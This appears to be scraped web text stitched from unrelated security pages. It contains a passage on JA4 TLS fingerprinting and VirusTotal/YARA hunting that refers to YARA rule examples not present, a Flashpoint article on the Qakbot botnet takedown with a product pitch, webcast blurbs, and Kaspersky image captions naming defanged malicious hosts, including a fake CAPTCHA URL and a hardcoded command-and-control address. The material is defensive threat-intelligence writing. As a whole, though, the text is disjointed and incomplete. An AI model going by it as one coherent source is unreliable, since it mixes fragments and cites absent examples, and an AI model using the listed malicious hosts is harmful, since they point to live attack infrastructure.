use.
TLS
Extensions: Additional features and capabilities supported
by the client.
ALPN
(Application-Layer Protocol Negotiation): The
application-level protocol, such as HTTP/2 or HTTP/3, that
the client wants to use after the TLS
handshake.
JA4 in Action: Pivoting and Hunting on
VirusTotal
VirusTotal has integrated JA4
fingerprinting into its platform through the behavior_networkfile
search modifier. This allows analysts to quickly
discover relationships between files based on their JA4
fingerprints.
To find the JA4 value, navigate to the "behavior" section of
the desired sample and locate the TLS subsection. In addition
to JA4, you might also find JA3 or JA3S there.
Example Search: Let's say you've encountered a suspicious
file that exhibits the JA4 fingerprint
"t10d070600_c50f5591e341_1a3805c3aa63" during VirusTotal's
behavioral analysis.
You can click on this JA4 to pivot using the
search query
behavior_network:t10d070600_c50f5591e341_1a3805c3aa63
finding other files with the same fingerprint This search
will pivot you to additional samples that share the same JA4
fingerprint, suggesting they might be related. This could
indicate that these files are part of the same malware family
or share a common developer or simply share a common TLS
library.
Returns files that match the
JA4_A and JA4_C components of the JA4 hash while allowing
for variations in the middle section, which often corresponds
to the cipher suite. This technique is useful for identifying
files that might use different ciphers but share other JA4
characteristics.
YARA hunting rules using the
"vt" module can be written to
automatically detect files based on their JA4 fingerprints.
Here's an example of a YARA rule that targets a specific JA4
fingerprint:
This rules will flag any file submitted to VirusTotal that
exhibits the matching JA4 fingerprint. The first example only
matches "t12d190800_d83cc789557e_7af1ed941c26" during
behavioral analysis. The second rule will match a regular
expression /t10d070600_.*_1a3805c3aa63/, only matching JA4_A
and JA4_C components, excluding the JA4_B cipher suite. These
fingerprints could be linked to known malware, a suspicious
application, or any TLS client behavior that is considered
risky by security analysts.
VirusTotal's adoption
of JA4 client fingerprinting will provide users with an
invaluable tool for dissecting and tracking TLS client
behaviors, leading to enhanced threat hunting, pivoting, and
more robust malware identification.
Qakbot, familiarly Qbot, has been a major cyber threat since 2007, infecting victims’ computers to steal financial information and distribute additional malware payloads like ransomware. As a result of the takedown, more than 700,000 infected devices worldwide were identified and cleaned of the malware. The DOJ also announced the seizure of $8.6M in cryptocurrency in illicit profits.
While there is no doubt that the Qakbot takedown is a major win in the fight against cybercrime, it may only provide short-term relief in the fight against a notoriously resilient cybercriminal ecosystem.
‘Swiss Army knife’
A Swiss Army knife of cybercrime tools, Qakbot was a complex malware that opened remote access to victims’ systems, stole credentials and financial information, and downloaded additional malware payloads. Its modular architecture enabled frequent updates to add new capabilities over its 15+ years of operation.
“The collaborative endeavors of these authoritative bodies exemplify the power of a comprehensive, multi-agency approach, designed to maximize its impact..”
Ian Gray, VP Of Intelligence
Qakbot has been a versatile workhorse for cybercriminals. Its banking trojan functionality has been used to pilfer payment information and intercept financial transactions. As a loader, it distributed ransomware such as ProLock to extort victims.
Qakbot has also powered large-scale spam email campaigns and brute force attacks. Its worm-like spreading kept it entrenched in infected networks. By providing the backdoor access and distribution channel for other malware, Qakbot played a key supporting role in the cybercrime ecosystem. Botnets like Emotet and TrickBot operated similarly, loading additional threats onto compromised systems. These jack-of-all-trades botnets have proven lucrative for their criminal operators.
A history of temporary relief
Prior botnet takedowns like Emotet and TrickBot have shown that sophisticated malware operations can often rebuild infrastructure and return from disruptions in new forms.
In the case of Emotet, the botnet came back online in 2022 using new techniques after its infrastructure was dismantled in 2021. TrickBot also persisted despite takedown attempts and remains an active threat. This resiliency highlights the challenges law enforcement faces in permanently eliminating cyber threats.
While takedowns temporarily degrade capabilities, dedicated cybercriminal groups adapt to avoid further disruption. New malware families also inevitably emerge to fill the gaps left by larger takedowns. For example, BazarLoader and ZLoader rose to prominence as loader malware after the Emotet takedown.
Yet despite their disruptions, resilient botnets often return and new ones emerge. After prior actions against Emotet and TrickBot, the lingering demand in underground markets brought them back in adapted new forms. Bots remain attractive tools for cybercriminals thanks to their versatility, automation, and money generating potential.
While Qakbot’s infrastructure was disrupted, its operators may attempt to rebuild or evolve their techniques. Sustained pressure on botnet financial flows, developer communities, and other aspects of the cybercrime supply chain is needed to deter future attacks. For now, the coordinated Qakbot takedown bought time and degraded the capabilities of a dominant cybercrime player.
The fight against cybercrime must be persistent and comprehensive
The Qakbot takedown was effectively coordinated among global governments, including France, Germany, Latvia, Romania, the Netherlands, the UK, and the US, as well as the private sector. The collaborative endeavors of these authoritative bodies exemplify the power of a comprehensive, multi-agency approach, designed to maximize its impact.
Law enforcement and the private sector should to continue coordinating takedowns while also focusing on detecting new malware variants early, disrupting communication channels, and following the money trails of criminal enterprises.
Cyber hygiene and threat awareness across organizations must also improve to reduce vulnerability to malware infections, including loaders and trojans that distribute threats like Qakbot. Technical controls like endpoint detection, network monitoring, and patching are also key.
Ultimately, defeating cybercrime requires comprehensive strategy across law enforcement operations, cybersecurity practices, and international collaboration. The Qakbot takedown represents meaningful progress, but the world must remain vigilant against an adaptable threat landscape.
Get Flashpoint on your side
Flashpoint Ignite enables organizations to proactively identify and mitigate cyber and physical risk that could imperil people, places, and assets. To unlock the power of great threat intelligence, get started with a free Flashpoint trial.
Click on the timecodes to jump to that part of the video (on YouTube) Slides for this webcast can be found here: https://www.blackhillsinfosec.com/wp-content/uploads/2020/09/SLIDES_OpenSourceExploitsinCloudsBigDataServices.pdf 4:18 Problem statement and exploitation timeline8:28 MapReduce and […]
John Strand & Jordan Drysdale// Yes.. Ethical Hacker Kids. The holidays are coming up! Here John & Jordan cover the different games, tools and gifts we can give kids that […]
Login
![Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24133444/horabot-campaign1.png)
![Fallback to hardcoded socket address (lifenews[.]pro:49569)](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24182634/horabot-campaign14.png)
Table Of Contents
